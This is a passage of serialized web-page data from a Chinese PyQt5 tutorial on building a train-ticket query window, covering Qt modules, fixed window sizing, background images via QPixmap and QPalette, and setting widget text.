称",{"type":18,"tag":443,"props":62188,"children":62189},{"align":3465},[62190],{"type":18,"tag":105,"props":62191,"children":62192},{},[62193],{"type":24,"value":61400},{"type":18,"tag":459,"props":62195,"children":62196},{},[62197,62209,62221,62234,62247,62260,62273,62286,62299,62312,62325],{"type":18,"tag":439,"props":62198,"children":62199},{},[62200,62204],{"type":18,"tag":466,"props":62201,"children":62202},{"align":3465},[62203],{"type":24,"value":45512},{"type":18,"tag":466,"props":62205,"children":62206},{"align":3465},[62207],{"type":24,"value":62208},"此模块用于处理时间、文件和目录、各种数据类型、流、URL、MIME类型、线程或进程",{"type":18,"tag":439,"props":62210,"children":62211},{},[62212,62216],{"type":18,"tag":466,"props":62213,"children":62214},{"align":3465},[62215],{"type":24,"value":46279},{"type":18,"tag":466,"props":62217,"children":62218},{"align":3465},[62219],{"type":24,"value":62220},"此模块包含类窗口系统集成、事件处理、二维图形、基本成像、字体和文本，以及一套完整的OpenGL和OpenGL ES的绑定",{"type":18,"tag":439,"props":62222,"children":62223},{},[62224,62229],{"type":18,"tag":466,"props":62225,"children":62226},{"align":3465},[62227],{"type":24,"value":62228},"QtWidgets",{"type":18,"tag":466,"props":62230,"children":62231},{"align":3465},[62232],{"type":24,"value":62233},"此模块中包含的类，提供了一组用于创建经典桌面风格用户界面的UI元素",{"type":18,"tag":439,"props":62235,"children":62236},{},[62237,62242],{"type":18,"tag":466,"props":62238,"children":62239},{"align":3465},[62240],{"type":24,"value":62241},"QtMultimedia",{"type":18,"tag":466,"props":62243,"children":62244},{"align":3465},[62245],{"type":24,"value":62246},"此模块中包含的类，用于处理多媒体内容和API来访问的相机、收音机功能",{"type":18,"tag":439,"props":62248,"children":62249},{},[62250,62255],{"type":18,"tag":466,"props":62251,"children":62252},{"align":3465},[62253],{"type":24,"value":62254},"QtNetwork",{"type":18,"tag":466,"props":62256,"children":62257},{"align":3465},[62258],{"type":24,"value":62259},"此模块中包含网络编程的类，通过这些类使网络编程更简单，更便携，便于TCP \u002F IP和UDP客户端和服务器的编码",{"type":18,"tag":439,"props":62261,"children":62262},{},[62263,62268],{"type":18,"tag":466,"props":62264,"children":62265},{"align":3465},[62266],{"type":24,"value":62267},"QtPositioning",{"type":18,"tag":466,"props":62269,"children":62270},{"align":3465},[62271],{"type":24,"value":62272},"此模块中包含的类，利用各种可能的来源，确定位置，包括卫星、Wi-Fi",{"type":18,"tag":439,"props":62274,"children":62275},{},[62276,62281],{"type":18,"tag":466,"props":62277,"children":62278},{"align":3465},[62279],{"type":24,"value":62280},"QtWebSockets",{"type":18,"tag":466,"props":62282,"children":62283},{"align":3465},[62284],{"type":24,"value":62285},"此模块中包含实现WebSocket协议的类",{"type":18,"tag":439,"props":62287,"children":62288},{},[62289,62294],{"type":18,"tag":466,"props":62290,"children":62291},{"align":3465},[62292],{"type":24,"value":62293},"QtXml",{"type":18,"tag":466,"props":62295,"children":62296},{"align":3465},[62297],{"type":24,"value":62298},"此模块中包含用于处理XML文件中的类，该模块为SAX和DOM API提供了解决方法",{"type":18,"tag":439,"props":62300,"children":62301},{},[62302,62307],{"type":18,"tag":466,"props":62303,"children":62304},{"align":3465},[62305],{"type":24,"value":62306},"QtSvg",{"type":18,"tag":466,"props":62308,"children":62309},{"align":3465},[62310],{"type":24,"value":62311},"此模块中提供了用于显示SVG文件内容的类，（SVG）是可缩放矢量图形，用于描述XML中的二维图形的一种格式",{"type":18,"tag":439,"props":62313,"children":62314},{},[62315,62320],{"type":18,"tag":466,"props":62316,"children":62317},{"align":3465},[62318],{"type":24,"value":62319},"QtSql",{"type":18,"tag":466,"props":62321,"children":62322},{"align":3465},[62323],{"type":24,"value":62324},"此模块提供了用于处理数据库的类",{"type":18,"tag":439,"props":62326,"children":62327},{},[62328,62333],{"type":18,"tag":466,"props":62329,"children":62330},{"align":3465},[62331],{"type":24,"value":62332},"QtTest",{"type":18,"tag":466,"props":62334,"children":62335},{"align":3465},[62336],{"type":24,"value":62337},"此模块包含的功能为pyqt5应用程序的单元测试",{"type":18,"tag":34,"props":62339,"children":62340},{},[62341],{"type":24,"value":62342},"下面通过代码来调试主窗体中各种控件的细节处理，以及相应的属性。具体步骤如下：",{"type":18,"tag":34,"props":62344,"children":62345},{},[62346,62348,62353,62355,62361],{"type":24,"value":62347},"1）打开",{"type":18,"tag":74,"props":62349,"children":62351},{"className":62350},[],[62352],{"type":24,"value":62167},{"type":24,"value":62354},"文件，在右侧代码区域的",{"type":18,"tag":74,"props":62356,"children":62358},{"className":62357},[],[62359],{"type":24,"value":62360},"setupUi()",{"type":24,"value":62362},"方法中修改主窗体的最大值与最小值，用于保持主窗体大小不变无法扩大或缩小。代码如下：",{"type":18,"tag":287,"props":62364,"children":62366},{"className":28710,"code":62365,"language":28712,"meta":8,"style":8},"MainWindow.setObjectName(\"MainWindow\")                 # 设置窗体对象名称  \nMainWindow.resize(1135, 806)                           # 设置窗体大小  \nMainWindow.setMinimumSize(QtCore.QSize(1135, 806))     # 主窗体最小值  \nMainWindow.setMaximumSize(QtCore.QSize(1135, 806))     # 主窗体最大值  \nself.centralwidget = QtWidgets.QWidget(MainWindow)     # 主窗体的widget控件  \nself.centralwidget.setObjectName(\"centralwidget\")      # 设置对象名称\n",[62367],{"type":18,"tag":74,"props":62368,"children":62369},{"__ignoreMap":8},[62370,62378,62386,62394,62402,62410],{"type":18,"tag":297,"props":62371,"children":62372},{"class":299,"line":300},[62373],{"type":18,"tag":297,"props":62374,"children":62375},{},[62376],{"type":24,"value":62377},"MainWindow.setObjectName(\"MainWindow\")                 # 设置窗体对象名称  \n",{"type":18,"tag":297,"props":62379,"children":62380},{"class":299,"line":657},[62381],{"type":18,"tag":297,"props":62382,"children":62383},{},[62384],{"type":24,"value":62385},"MainWindow.resize(1135, 806)                           # 设置窗体大小  \n",{"type":18,"tag":297,"props":62387,"children":62388},{"class":299,"line":662},[62389],{"type":18,"tag":297,"props":62390,"children":62391},{},[62392],{"type":24,"value":62393},"MainWindow.setMinimumSize(QtCore.QSize(1135, 806))     # 主窗体最小值  \n",{"type":18,"tag":297,"props":62395,"children":62396},{"class":299,"line":799},[62397],{"type":18,"tag":297,"props":62398,"children":62399},{},[62400],{"type":24,"value":62401},"MainWindow.setMaximumSize(QtCore.QSize(1135, 806))     # 主窗体最大值  \n",{"type":18,"tag":297,"props":62403,"children":62404},{"class":299,"line":808},[62405],{"type":18,"tag":297,"props":62406,"children":62407},{},[62408],{"type":24,"value":62409},"self.centralwidget = QtWidgets.QWidget(MainWindow)     # 主窗体的widget控件  \n",{"type":18,"tag":297,"props":62411,"children":62412},{"class":299,"line":817},[62413],{"type":18,"tag":297,"props":62414,"children":62415},{},[62416],{"type":24,"value":62417},"self.centralwidget.setObjectName(\"centralwidget\")      # 设置对象名称\n",{"type":18,"tag":34,"props":62419,"children":62420},{},[62421,62423,62428,62430,62436,62438,62444,62445,62450,62451,62457,62459,62464],{"type":24,"value":62422},"2）将图片资源",{"type":18,"tag":74,"props":62424,"children":62426},{"className":62425},[],[62427],{"type":24,"value":54},{"type":24,"value":62429},"文件夹复制到该项目中，然后导入",{"type":18,"tag":74,"props":62431,"children":62433},{"className":62432},[],[62434],{"type":24,"value":62435},"PyQt5.QtGui",{"type":24,"value":62437},"模块中的",{"type":18,"tag":74,"props":62439,"children":62441},{"className":62440},[],[62442],{"type":24,"value":62443},"QPalette",{"type":24,"value":1942},{"type":18,"tag":74,"props":62446,"children":62448},{"className":62447},[],[62449],{"type":24,"value":56403},{"type":24,"value":1942},{"type":18,"tag":74,"props":62452,"children":62454},{"className":62453},[],[62455],{"type":24,"value":62456},"QColor",{"type":24,"value":62458},"用于对控件设置背景图片，为对象名",{"type":18,"tag":74,"props":62460,"children":62462},{"className":62461},[],[62463],{"type":24,"value":61440},{"type":24,"value":62465},"的Label控件设置背景图片，该控件用于显示顶部图片。关键代码如下：",{"type":18,"tag":287,"props":62467,"children":62469},{"className":28710,"code":62468,"language":28712,"meta":8,"style":8},"# 导入QtGui模块  \nfrom PyQt5.QtGui import QPalette, QPixmap, QColor  \n# 通过label控件显示顶部图片  \nself.label_title_img = QtWidgets.QLabel(self.centralwidget)  \nself.label_title_img.setGeometry(QtCore.QRect(0, 0, 1131, 101))  \nself.label_title_img.setObjectName(\"label_title_img\")  \nbg1_bath = os.path.join(base_dir,'BG1.png')  \n# 打开顶部位图  \ntitle_img = QPixmap(bg1_bath)  \n# 设置调色板  \nself.label_title_img.setPixmap(title_img)  \n# 在设置pixmap后添加，让标签自适应图片大小  \nself.label_title_img.setScaledContents(True)\n",[62470],{"type":18,"tag":74,"props":62471,"children":62472},{"__ignoreMap":8},[62473,62481,62489,62497,62505,62513,62521,62529,62537,62545,62553,62561,62569],{"type":18,"tag":297,"props":62474,"children":62475},{"class":299,"line":300},[62476],{"type":18,"tag":297,"props":62477,"children":62478},{},[62479],{"type":24,"value":62480},"# 导入QtGui模块  \n",{"type":18,"tag":297,"props":62482,"children":62483},{"class":299,"line":657},[62484],{"type":18,"tag":297,"props":62485,"children":62486},{},[62487],{"type":24,"value":62488},"from PyQt5.QtGui import QPalette, QPixmap, QColor  \n",{"type":18,"tag":297,"props":62490,"children":62491},{"class":299,"line":662},[62492],{"type":18,"tag":297,"props":62493,"children":62494},{},[62495],{"type":24,"value":62496},"# 通过label控件显示顶部图片  \n",{"type":18,"tag":297,"props":62498,"children":62499},{"class":299,"line":799},[62500],{"type":18,"tag":297,"props":62501,"children":62502},{},[62503],{"type":24,"value":62504},"self.label_title_img = QtWidgets.QLabel(self.centralwidget)  \n",{"type":18,"tag":297,"props":62506,"children":62507},{"class":299,"line":808},[62508],{"type":18,"tag":297,"props":62509,"children":62510},{},[62511],{"type":24,"value":62512},"self.label_title_img.setGeometry(QtCore.QRect(0, 0, 1131, 101))  \n",{"type":18,"tag":297,"props":62514,"children":62515},{"class":299,"line":817},[62516],{"type":18,"tag":297,"props":62517,"children":62518},{},[62519],{"type":24,"value":62520},"self.label_title_img.setObjectName(\"label_title_img\")  \n",{"type":18,"tag":297,"props":62522,"children":62523},{"class":299,"line":826},[62524],{"type":18,"tag":297,"props":62525,"children":62526},{},[62527],{"type":24,"value":62528},"bg1_bath = os.path.join(base_dir,'BG1.png')  \n",{"type":18,"tag":297,"props":62530,"children":62531},{"class":299,"line":4524},[62532],{"type":18,"tag":297,"props":62533,"children":62534},{},[62535],{"type":24,"value":62536},"# 打开顶部位图  \n",{"type":18,"tag":297,"props":62538,"children":62539},{"class":299,"line":4533},[62540],{"type":18,"tag":297,"props":62541,"children":62542},{},[62543],{"type":24,"value":62544},"title_img = QPixmap(bg1_bath)  \n",{"type":18,"tag":297,"props":62546,"children":62547},{"class":299,"line":4546},[62548],{"type":18,"tag":297,"props":62549,"children":62550},{},[62551],{"type":24,"value":62552},"# 设置调色板  \n",{"type":18,"tag":297,"props":62554,"children":62555},{"class":299,"line":4555},[62556],{"type":18,"tag":297,"props":62557,"children":62558},{},[62559],{"type":24,"value":62560},"self.label_title_img.setPixmap(title_img)  \n",{"type":18,"tag":297,"props":62562,"children":62563},{"class":299,"line":4568},[62564],{"type":18,"tag":297,"props":62565,"children":62566},{},[62567],{"type":24,"value":62568},"# 在设置pixmap后添加，让标签自适应图片大小  \n",{"type":18,"tag":297,"props":62570,"children":62571},{"class":299,"line":4577},[62572],{"type":18,"tag":297,"props":62573,"children":62574},{},[62575],{"type":24,"value":62576},"self.label_title_img.setScaledContents(True)\n",{"type":18,"tag":34,"props":62578,"children":62579},{},[62580],{"type":24,"value":62581},"3）设置复选框部分widget控件的背景图片，该控件起到容器的作用，在设置背景图片时并没有Label控件那么简单，首先需要为该控件开启自动填充背景功能，然后创建调色板对象，指定调色板背景图片，最后为控件设置对应的调色板即可。关键代码如下：",{"type":18,"tag":287,"props":62583,"children":62585},{"className":28710,"code":62584,"language":28712,"meta":8,"style":8},"# 查询部分的widget  \nself.widget_checkBox = QtWidgets.QWidget(self.centralwidget)  \nself.widget_checkBox.setGeometry(QtCore.QRect(0, 200, 1131, 51))  \n# 开启自动填充背景  \nself.widget_checkBox.setAutoFillBackground(True)  \nbg2_bath = os.path.join(base_dir,'BG2.png')  \n# 调色板类  \npalette = QPalette()  \n# 设置背景图片  \npalette.setBrush(QPalette.Background, QtGui.QBrush(QtGui.QPixmap(bg2_bath)))  \n# 为控件设置对应的调色板即可  \nself.widget_checkBox.setPalette(palette)  \nself.widget_checkBox.setObjectName(\"widget_checkBox\")\n",[62586],{"type":18,"tag":74,"props":62587,"children":62588},{"__ignoreMap":8},[62589,62597,62605,62613,62621,62629,62637,62645,62653,62661,62669,62677,62685],{"type":18,"tag":297,"props":62590,"children":62591},{"class":299,"line":300},[62592],{"type":18,"tag":297,"props":62593,"children":62594},{},[62595],{"type":24,"value":62596},"# 查询部分的widget  \n",{"type":18,"tag":297,"props":62598,"children":62599},{"class":299,"line":657},[62600],{"type":18,"tag":297,"props":62601,"children":62602},{},[62603],{"type":24,"value":62604},"self.widget_checkBox = QtWidgets.QWidget(self.centralwidget)  \n",{"type":18,"tag":297,"props":62606,"children":62607},{"class":299,"line":662},[62608],{"type":18,"tag":297,"props":62609,"children":62610},{},[62611],{"type":24,"value":62612},"self.widget_checkBox.setGeometry(QtCore.QRect(0, 200, 1131, 51))  \n",{"type":18,"tag":297,"props":62614,"children":62615},{"class":299,"line":799},[62616],{"type":18,"tag":297,"props":62617,"children":62618},{},[62619],{"type":24,"value":62620},"# 开启自动填充背景  \n",{"type":18,"tag":297,"props":62622,"children":62623},{"class":299,"line":808},[62624],{"type":18,"tag":297,"props":62625,"children":62626},{},[62627],{"type":24,"value":62628},"self.widget_checkBox.setAutoFillBackground(True)  \n",{"type":18,"tag":297,"props":62630,"children":62631},{"class":299,"line":817},[62632],{"type":18,"tag":297,"props":62633,"children":62634},{},[62635],{"type":24,"value":62636},"bg2_bath = os.path.join(base_dir,'BG2.png')  \n",{"type":18,"tag":297,"props":62638,"children":62639},{"class":299,"line":826},[62640],{"type":18,"tag":297,"props":62641,"children":62642},{},[62643],{"type":24,"value":62644},"# 调色板类  \n",{"type":18,"tag":297,"props":62646,"children":62647},{"class":299,"line":4524},[62648],{"type":18,"tag":297,"props":62649,"children":62650},{},[62651],{"type":24,"value":62652},"palette = QPalette()  \n",{"type":18,"tag":297,"props":62654,"children":62655},{"class":299,"line":4533},[62656],{"type":18,"tag":297,"props":62657,"children":62658},{},[62659],{"type":24,"value":62660},"# 设置背景图片  \n",{"type":18,"tag":297,"props":62662,"children":62663},{"class":299,"line":4546},[62664],{"type":18,"tag":297,"props":62665,"children":62666},{},[62667],{"type":24,"value":62668},"palette.setBrush(QPalette.Background, QtGui.QBrush(QtGui.QPixmap(bg2_bath)))  \n",{"type":18,"tag":297,"props":62670,"children":62671},{"class":299,"line":4555},[62672],{"type":18,"tag":297,"props":62673,"children":62674},{},[62675],{"type":24,"value":62676},"# 为控件设置对应的调色板即可  \n",{"type":18,"tag":297,"props":62678,"children":62679},{"class":299,"line":4568},[62680],{"type":18,"tag":297,"props":62681,"children":62682},{},[62683],{"type":24,"value":62684},"self.widget_checkBox.setPalette(palette)  \n",{"type":18,"tag":297,"props":62686,"children":62687},{"class":299,"line":4577},[62688],{"type":18,"tag":297,"props":62689,"children":62690},{},[62691],{"type":24,"value":62692},"self.widget_checkBox.setObjectName(\"widget_checkBox\")\n",{"type":18,"tag":96,"props":62694,"children":62695},{},[62696],{"type":18,"tag":34,"props":62697,"children":62698},{},[62699],{"type":24,"value":62700},"说明：根据以上两种设置背景图片的方法，分别为选择车次类型的widget控件与显示火车信息图片的Label控件设置背景图片。",{"type":18,"tag":34,"props":62702,"children":62703},{},[62704,62706,62711,62712,62718],{"type":24,"value":62705},"4）设置中间部分widget控件的背景图片，该控件起到容器的作用，在设置背景图片时，首先需要为该控件开启自动填充背景功能，要让图片完全展示且保持比例，你可以使用 ",{"type":18,"tag":74,"props":62707,"children":62709},{"className":62708},[],[62710],{"type":24,"value":56403},{"type":24,"value":29182},{"type":18,"tag":74,"props":62713,"children":62715},{"className":62714},[],[62716],{"type":24,"value":62717},"scaled",{"type":24,"value":62719}," 方法，并设置合适的缩放模式。然后创建调色板对象，指定调色板背景图片，最后为控件设置对应的调色板即可。关键代码如下：",{"type":18,"tag":287,"props":62721,"children":62723},{"className":28710,"code":62722,"language":28712,"meta":8,"style":8},"self.label_train_img = QtWidgets.QLabel(self.centralwidget)  \nself.label_train_img.setGeometry(QtCore.QRect(0, 260, 1131, 71))  \nself.label_train_img.setObjectName(\"label_train_img\")  \nself.label_train_img.setAutoFillBackground(True)  \n# 加载图片  \nbg3_bath = os.path.join(base_dir, 'BG3.png')  \npixmap = QtGui.QPixmap(bg3_bath)  \n# 按标签大小缩放图片，保持比例，确保图片完全显示  \nscaled_pixmap = pixmap.scaled(  \n    self.label_train_img.size(),  \n    QtCore.Qt.KeepAspectRatio,      # 保持宽高比  \n    QtCore.Qt.SmoothTransformation  # 平滑缩放  \n)  \n# 设置调色板  \npalette = QPalette()  \npalette.setBrush(QPalette.Background, QtGui.QBrush(scaled_pixmap))  \nself.label_train_img.setPalette(palette)\n",[62724],{"type":18,"tag":74,"props":62725,"children":62726},{"__ignoreMap":8},[62727,62735,62743,62751,62759,62767,62775,62783,62791,62799,62807,62815,62823,62831,62838,62845,62853],{"type":18,"tag":297,"props":62728,"children":62729},{"class":299,"line":300},[62730],{"type":18,"tag":297,"props":62731,"children":62732},{},[62733],{"type":24,"value":62734},"self.label_train_img = QtWidgets.QLabel(self.centralwidget)  \n",{"type":18,"tag":297,"props":62736,"children":62737},{"class":299,"line":657},[62738],{"type":18,"tag":297,"props":62739,"children":62740},{},[62741],{"type":24,"value":62742},"self.label_train_img.setGeometry(QtCore.QRect(0, 260, 1131, 71))  \n",{"type":18,"tag":297,"props":62744,"children":62745},{"class":299,"line":662},[62746],{"type":18,"tag":297,"props":62747,"children":62748},{},[62749],{"type":24,"value":62750},"self.label_train_img.setObjectName(\"label_train_img\")  \n",{"type":18,"tag":297,"props":62752,"children":62753},{"class":299,"line":799},[62754],{"type":18,"tag":297,"props":62755,"children":62756},{},[62757],{"type":24,"value":62758},"self.label_train_img.setAutoFillBackground(True)  \n",{"type":18,"tag":297,"props":62760,"children":62761},{"class":299,"line":808},[62762],{"type":18,"tag":297,"props":62763,"children":62764},{},[62765],{"type":24,"value":62766},"# 加载图片  \n",{"type":18,"tag":297,"props":62768,"children":62769},{"class":299,"line":817},[62770],{"type":18,"tag":297,"props":62771,"children":62772},{},[62773],{"type":24,"value":62774},"bg3_bath = os.path.join(base_dir, 'BG3.png')  \n",{"type":18,"tag":297,"props":62776,"children":62777},{"class":299,"line":826},[62778],{"type":18,"tag":297,"props":62779,"children":62780},{},[62781],{"type":24,"value":62782},"pixmap = QtGui.QPixmap(bg3_bath)  \n",{"type":18,"tag":297,"props":62784,"children":62785},{"class":299,"line":4524},[62786],{"type":18,"tag":297,"props":62787,"children":62788},{},[62789],{"type":24,"value":62790},"# 按标签大小缩放图片，保持比例，确保图片完全显示  \n",{"type":18,"tag":297,"props":62792,"children":62793},{"class":299,"line":4533},[62794],{"type":18,"tag":297,"props":62795,"children":62796},{},[62797],{"type":24,"value":62798},"scaled_pixmap = pixmap.scaled(  \n",{"type":18,"tag":297,"props":62800,"children":62801},{"class":299,"line":4546},[62802],{"type":18,"tag":297,"props":62803,"children":62804},{},[62805],{"type":24,"value":62806},"    self.label_train_img.size(),  \n",{"type":18,"tag":297,"props":62808,"children":62809},{"class":299,"line":4555},[62810],{"type":18,"tag":297,"props":62811,"children":62812},{},[62813],{"type":24,"value":62814},"    QtCore.Qt.KeepAspectRatio,      # 保持宽高比  \n",{"type":18,"tag":297,"props":62816,"children":62817},{"class":299,"line":4568},[62818],{"type":18,"tag":297,"props":62819,"children":62820},{},[62821],{"type":24,"value":62822},"    QtCore.Qt.SmoothTransformation  # 平滑缩放  \n",{"type":18,"tag":297,"props":62824,"children":62825},{"class":299,"line":4577},[62826],{"type":18,"tag":297,"props":62827,"children":62828},{},[62829],{"type":24,"value":62830},")  \n",{"type":18,"tag":297,"props":62832,"children":62833},{"class":299,"line":4590},[62834],{"type":18,"tag":297,"props":62835,"children":62836},{},[62837],{"type":24,"value":62552},{"type":18,"tag":297,"props":62839,"children":62840},{"class":299,"line":4599},[62841],{"type":18,"tag":297,"props":62842,"children":62843},{},[62844],{"type":24,"value":62652},{"type":18,"tag":297,"props":62846,"children":62847},{"class":299,"line":4607},[62848],{"type":18,"tag":297,"props":62849,"children":62850},{},[62851],{"type":24,"value":62852},"palette.setBrush(QPalette.Background, QtGui.QBrush(scaled_pixmap))  \n",{"type":18,"tag":297,"props":62854,"children":62855},{"class":299,"line":4616},[62856],{"type":18,"tag":297,"props":62857,"children":62858},{},[62859],{"type":24,"value":62860},"self.label_train_img.setPalette(palette)\n",{"type":18,"tag":34,"props":62862,"children":62863},{},[62864,62866,62872],{"type":24,"value":62865},"5）通过代码修改窗体或控件文字时，需要在",{"type":18,"tag":74,"props":62867,"children":62869},{"className":62868},[],[62870],{"type":24,"value":62871},"retranslateUi()",{"type":24,"value":62873},"方法中进行设置，关键代码如下：",{"type":18,"tag":287,"props":62875,"children":62877},{"className":28710,"code":62876,"language":28712,"meta":8,"style":8},"MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \nself.label.setText(_translate(\"MainWindow\", \"出发地：\"))  \nself.label_2.setText(_translate(\"MainWindow\", \"目的地：\"))  \nself.label_3.setText(_translate(\"MainWindow\", \"出发日：\"))  \nself.pushButton.setText(_translate(\"MainWindow\", \"查询\"))  \nself.label_4.setText(_translate(\"MainWindow\", \"车次类型：\"))  \nself.checkBox_G.setText(_translate(\"MainWindow\", \"GC-高铁\u002F城际\"))  \nself.checkBox_D.setText(_translate(\"MainWindow\", \"D-动车\"))  \nself.checkBox_Z.setText(_translate(\"MainWindow\", \"Z-直达\"))  \nself.checkBox_T.setText(_translate(\"MainWindow\", \"T-特快\"))  \nself.checkBox_K.setText(_translate(\"MainWindow\", \"K-快速\"))  \nself.checkBox_O.setText(_translate(\"MainWindow\", \"其他\"))  \nself.checkBox_F.setText(_translate(\"MainWindow\", \"复兴号\"))  \nself.checkBox_EMU.setText(_translate(\"MainWindow\", \"智能动车组\"))  \nself.checkBox_ALL.setText(_translate(\"MainWindow\", \"全部\"))\n",[62878],{"type":18,"tag":74,"props":62879,"children":62880},{"__ignoreMap":8},[62881,62889,62897,62905,62913,62921,62929,62937,62945,62953,62961,62969,62977,62985,62993],{"type":18,"tag":297,"props":62882,"children":62883},{"class":299,"line":300},[62884],{"type":18,"tag":297,"props":62885,"children":62886},{},[62887],{"type":24,"value":62888},"MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))  \n",{"type":18,"tag":297,"props":62890,"children":62891},{"class":299,"line":657},[62892],{"type":18,"tag":297,"props":62893,"children":62894},{},[62895],{"type":24,"value":62896},"self.label.setText(_translate(\"MainWindow\", \"出发地：\"))  \n",{"type":18,"tag":297,"props":62898,"children":62899},{"class":299,"line":662},[62900],{"type":18,"tag":297,"props":62901,"children":62902},{},[62903],{"type":24,"value":62904},"self.label_2.setText(_translate(\"MainWindow\", \"目的地：\"))  \n",{"type":18,"tag":297,"props":62906,"children":62907},{"class":299,"line":799},[62908],{"type":18,"tag":297,"props":62909,"children":62910},{},[62911],{"type":24,"value":62912},"self.label_3.setText(_translate(\"MainWindow\", \"出发日：\"))  \n",{"type":18,"tag":297,"props":62914,"children":62915},{"class":299,"line":808},[62916],{"type":18,"tag":297,"props":62917,"children":62918},{},[62919],{"type":24,"value":62920},"self.pushButton.setText(_translate(\"MainWindow\", \"查询\"))  \n",{"type":18,"tag":297,"props":62922,"children":62923},{"class":299,"line":817},[62924],{"type":18,"tag":297,"props":62925,"children":62926},{},[62927],{"type":24,"value":62928},"self.label_4.setText(_translate(\"MainWindow\", \"车次类型：\"))  \n",{"type":18,"tag":297,"props":62930,"children":62931},{"class":299,"line":826},[62932],{"type":18,"tag":297,"props":62933,"children":62934},{},[62935],{"type":24,"value":62936},"self.checkBox_G.setText(_translate(\"MainWindow\", \"GC-高铁\u002F城际\"))  \n",{"type":18,"tag":297,"props":62938,"children":62939},{"class":299,"line":4524},[62940],{"type":18,"tag":297,"props":62941,"children":62942},{},[62943],{"type":24,"value":62944},"self.checkBox_D.setText(_translate(\"MainWindow\", \"D-动车\"))  \n",{"type":18,"tag":297,"props":62946,"children":62947},{"class":299,"line":4533},[62948],{"type":18,"tag":297,"props":62949,"children":62950},{},[62951],{"type":24,"value":62952},"self.checkBox_Z.setText(_translate(\"MainWindow\", \"Z-直达\"))  \n",{"type":18,"tag":297,"props":62954,"children":62955},{"class":299,"line":4546},[62956],{"type":18,"tag":297,"props":62957,"children":62958},{},[62959],{"type":24,"value":62960},"self.checkBox_T.setText(_translate(\"MainWindow\", \"T-特快\"))  \n",{"type":18,"tag":297,"props":62962,"children":62963},{"class":299,"line":4555},[62964],{"type":18,"tag":297,"props":62965,"children":62966},{},[62967],{"type":24,"value":62968},"self.checkBox_K.setText(_translate(\"MainWindow\", \"K-快速\"))  \n",{"type":18,"tag":297,"props":62970,"children":62971},{"class":299,"line":4568},[62972],{"type":18,"tag":297,"props":62973,"children":62974},{},[62975],{"type":24,"value":62976},"self.checkBox_O.setText(_translate(\"MainWindow\", \"其他\"))  \n",{"type":18,"tag":297,"props":62978,"children":62979},{"class":299,"line":4577},[62980],{"type":18,"tag":297,"props":62981,"children":62982},{},[62983],{"type":24,"value":62984},"self.checkBox_F.setText(_translate(\"MainWindow\", \"复兴号\"))  \n",{"type":18,"tag":297,"props":62986,"children":62987},{"class":299,"line":4590},[62988],{"type":18,"tag":297,"props":62989,"children":62990},{},[62991],{"type":24,"value":62992},"self.checkBox_EMU.setText(_translate(\"MainWindow\", \"智能动车组\"))  \n",{"type":18,"tag":297,"props":62994,"children":62995},{"class":299,"line":4599},[62996],{"type":18,"tag":297,"props":62997,"children":62998},{},[62999],{"type":24,"value":63000},"self.checkBox_ALL.setText(_translate(\"MainWindow\", \"全部\"))\n",{"type":18,"tag":34,"props":63002,"children":63003},{},[63004,63006,63012],{"type":24,"value":63005},"6）导入sys模块，然后在代码块的最外层创建",{"type":18,"tag":74,"props":63007,"children":63009},{"className":63008},[],[63010],{"type":24,"value":63011},"show_MainWindow()",{"type":24,"value":63013},"方法，该方法用于显示窗体。关键代码如下：",{"type":18,"tag":287,"props":63015,"children":63017},{"className":28710,"code":63016,"language":28712,"meta":8,"style":8},"def show_MainWindow():  \n    app = QtWidgets.QApplication(sys.argv)   # 实例化QApplication类，作为GUI主程序入口  \n    MainWindow = QtWidgets.QMainWindow()     # 创建MainWindow类  \n    ui = Ui_MainWindow()                     # 实例UI类  \n    ui.setupUi(MainWindow)                   # 设置窗体UI  \n    MainWindow.show()                        # 显示窗体  \n    sys.exit(app.exec_())                    # 当窗口创建完成，需要结束主循环过程\n",[63018],{"type":18,"tag":74,"props":63019,"children":63020},{"__ignoreMap":8},[63021,63029,63037,63045,63053,63061,63069],{"type":18,"tag":297,"props":63022,"children":63023},{"class":299,"line":300},[63024],{"type":18,"tag":297,"props":63025,"children":63026},{},[63027],{"type":24,"value":63028},"def show_MainWindow():  \n",{"type":18,"tag":297,"props":63030,"children":63031},{"class":299,"line":657},[63032],{"type":18,"tag":297,"props":63033,"children":63034},{},[63035],{"type":24,"value":63036},"    app = QtWidgets.QApplication(sys.argv)   # 实例化QApplication类，作为GUI主程序入口  \n",{"type":18,"tag":297,"props":63038,"children":63039},{"class":299,"line":662},[63040],{"type":18,"tag":297,"props":63041,"children":63042},{},[63043],{"type":24,"value":63044},"    MainWindow = QtWidgets.QMainWindow()     # 创建MainWindow类  \n",{"type":18,"tag":297,"props":63046,"children":63047},{"class":299,"line":799},[63048],{"type":18,"tag":297,"props":63049,"children":63050},{},[63051],{"type":24,"value":63052},"    ui = Ui_MainWindow()                     # 实例UI类  \n",{"type":18,"tag":297,"props":63054,"children":63055},{"class":299,"line":808},[63056],{"type":18,"tag":297,"props":63057,"children":63058},{},[63059],{"type":24,"value":63060},"    ui.setupUi(MainWindow)                   # 设置窗体UI  \n",{"type":18,"tag":297,"props":63062,"children":63063},{"class":299,"line":817},[63064],{"type":18,"tag":297,"props":63065,"children":63066},{},[63067],{"type":24,"value":63068},"    MainWindow.show()                        # 显示窗体  \n",{"type":18,"tag":297,"props":63070,"children":63071},{"class":299,"line":826},[63072],{"type":18,"tag":297,"props":63073,"children":63074},{},[63075],{"type":24,"value":63076},"    sys.exit(app.exec_())                    # 当窗口创建完成，需要结束主循环过程\n",{"type":18,"tag":96,"props":63078,"children":63079},{},[63080],{"type":18,"tag":34,"props":63081,"children":63082},{},[63083],{"type":24,"value":63084},"说明：sys模块是python自带的模块，该模块提供了一系列有关Python运行环境的变量和函数。sys模块的常见用法与含义如表7所示。",{"type":18,"tag":34,"props":63086,"children":63087},{},[63088],{"type":18,"tag":105,"props":63089,"children":63090},{},[63091],{"type":24,"value":63092},"sys模块的常见用法",{"type":18,"tag":431,"props":63094,"children":63095},{},[63096,63117],{"type":18,"tag":435,"props":63097,"children":63098},{},[63099],{"type":18,"tag":439,"props":63100,"children":63101},{},[63102,63110],{"type":18,"tag":443,"props":63103,"children":63104},{"align":3465},[63105],{"type":18,"tag":105,"props":63106,"children":63107},{},[63108],{"type":24,"value":63109},"常 见 用 